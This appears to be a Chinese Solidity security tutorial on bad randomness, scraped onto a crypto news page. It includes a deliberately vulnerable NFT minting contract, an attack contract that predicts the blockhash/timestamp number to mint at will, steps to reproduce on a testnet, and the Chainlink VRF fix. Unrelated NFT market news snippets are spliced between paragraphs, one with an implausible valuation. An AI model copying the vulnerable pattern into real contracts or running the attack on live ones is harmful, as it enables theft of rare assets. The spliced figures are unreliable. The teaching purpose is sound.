買以太坊 買以太坊
Ctrl+D 買以太坊
ads
首頁 > MEXC > Info

WTF Solidity 合約安全: S07. 壞隨機數

Author:

Time:1900/1/1 0:00:00

我最近在重新學solidity,鞏固一下細節,也寫一個“WTF Solidity極簡入門”,供小白們使用(編程大佬可以另找教程),每周更新1-3講。

這一講,我們將介紹智能合約的壞隨機數(Bad Randomness)漏洞和預防方法,這個漏洞經常在 NFT 和 GameFi 中出現,包括 Meebits,Loots,Wolf Game等。

很多以太坊上的應用都需要用到隨機數,例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明(public)且確定性(deterministic)的,它沒有其他編程語言一樣給開發者提供生成隨機數的方法,例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法,例如 blockhash() 和 keccak256() 方法。

壞隨機數漏洞:攻擊者可以事先計算這些偽隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。

goblintown.wtf系列NFT24小時交易額為151.15萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf系列NFT總市值達5353.65萬億美元,在所有NFT項目總市值排名中位列第42;其24小時交易額為151.15萬美元,增幅達22.03%。截止發稿時,該系列NFT當前地板價為2.95,跌幅達33.11%ETH。[2022/6/15 4:28:57]

下面我們學習一個有壞隨機數漏洞的 NFT 合約: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 構造函數,初始化NFT合集的名稱、代號    constructor() ERC721("", ""){}    // 鑄造函數:當輸入的 luckyNumber 等于隨機數時才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一個主要的鑄造函數 luckyMint(),用戶調用時輸入一個 0-99 的數字,如果和鏈上生成的偽隨機數 randomNumber 相等,即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。

goblintown.wtf系列NFT24小時交易額為90.35萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf系列NFT總市值達6264萬美元,在所有NFT項目總市值排名中位列第38;其24小時交易額為90.35萬美元,跌幅達12.69%。截止發稿時,該系列NFT當前地板價為3ETH,漲幅為3.81%。[2022/6/13 4:21:22]

下面我們寫個攻擊合約 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前計算隨機數        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻擊        nftAddr.luckyMint(luckyNumber);    }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中,我們計算了隨機數 luckyNumber,然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用,blockhash和block.timestamp是相同的,利用他們生成的隨機數也相同。

troll-town.wtf系列NFT24小時交易額增幅達312.57%:金色財經消息,據NFTGo.io數據顯示,troll-town.wtf系列NFT總市值達511.08萬美元,在所有NFT項目總市值排名中位列第565;其24小時交易額為129.64萬美元,增幅達312.57%。截止發稿時,該系列NFT當前地板價為0.242ETH。[2022/6/7 4:08:55]

由于 Remix 自帶的 Remix VM不支持 blockhash函數,因此你需要將合約部署到以太坊測試鏈上進行復現。

部署 BadRandomness 合約。

部署 Attack 合約。

將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用,完成攻擊。

調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額,確認攻擊成功。

Goblintown.wtf NFT近7日交易額超1400萬美元:金色財經消息,據歐科云鏈鏈上大師NFT交易榜單顯示,Goblintown.wtf NFT近7日交易額已超1400萬美元,6天地板價漲超500%。目前該NFT項目已超越Otherdeed for Otherside、BAYC,成為近期交易量最暢銷的NFT。[2022/5/30 3:50:35]

我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如 Chainlink VRF。這類隨機數從鏈下生成,然后上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。

這一講我們介紹了壞隨機數漏洞,并介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

社區:Discord|微信群|官網 wtf.academy

fees.wtf回應低流動性:團隊正在逐步增加流動性以防止機器人搶跑:1月14日消息,Gas 使用統計查詢網站 fees.wtf 在 Discord 社群中回應關于流動性不足的問題,并表示其在發布前提到將在發布不久之后添加流動性,但并未說明具體數量。是因為團隊不希望機器人搶先運行,并提走全部原有流動性。因此導致市場上發生了一場機器人對機器人的斗爭:

由于初始發布時的流動性很低,有機器人將 100 ETH 投入一個僅有 1 到 2 個 ETH 的流動性池中。設置很高的滑點,最終被其他機器人耗盡了全部的 ETH,是一個高滑點、低流動性的案例。

fees.wtf 團隊希望用戶沒有受到影響,一起仍按原計劃進行,團隊正在增加流動性。[2022/1/14 8:48:44]

所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity

來源:bress

Bress

個人專欄

閱讀更多

金色早8點

比推 Bitpush News

Foresight News

PANews

Delphi Digital

區塊鏈騎士

深潮TechFlow

鏈捕手

區塊律動BlockBeats

DeFi之道

Tags:NBSBSPNFTINTnbs幣官網BSPT價格CorgiNFTGamePRINT價格

MEXC
STARK:盤點不同類型的零知識技術方案與零知識證明項目_Gaming Stars

零知識技術是密碼學的一個分支,可以為許多 Layer 1 區塊鏈項目解決擴容和隱私問題。區塊鏈可以利用零知識證明技術提升交易吞吐量,在驗證用戶身份的同時保護用戶數據隱私,實現復雜的計算,并讓企業.

1900/1/1 0:00:00
MAD:2023 Crypto Nomad 啟航指南_venom幣空投

圖片來源:由 無界版圖AI 工具生成Nomad,游民,原指居無定所的游牧民,但也可以被理解為沒有固定居所或目的地到處漫游的人.

1900/1/1 0:00:00
區塊鏈:金色觀察 | 哪些NFT項目會受到FTX暴雷影響_加密貨幣騙局騙女人

文/0xPrismatic,Delphi Digital研究員;譯/金色財經xiaozou我花了些時間研究了哪些NFT項目受FTX事件的影響比較嚴重,又有哪些項目沒有受到波及。研究結果喜憂參半.

1900/1/1 0:00:00
WEB:鯨探游向元宇宙 能否化身數藏破局者?_NFT

在中國數字資產交易平臺發布儀式的前5天,螞蟻集團旗下的數字藏品售賣平臺“鯨探”發生了新變化。2022年12月25日,鯨探上線“空間”功能,出現了“虛擬地塊”這種在Web3元宇宙平臺常見的場景,支.

1900/1/1 0:00:00
CRYPT:Dragonfly合伙人談FTX暴雷:山雨欲來 更糟糕的局面還在路上_CRYPTO

原文:Dragonfly 合伙人 Haseeb編譯:Kxp,BlockBeatsFTX 爆雷事件引起整個行業動蕩,振幅波及到 Crypto 世界的每一個人.

1900/1/1 0:00:00
HON:從HONG KONG DAO開始漫長的加密之旅_KONGZ20

2022/10/31香港財政司(財經事務及庫務局)正式發布《有關香港虛擬資產發展的政策宣言》,闡明政府對虛擬資產行業和生態圈的政策立場和方針邀請有關交易所在香港開拓商機允許零售投資人(散戶)買賣.

1900/1/1 0:00:00
ads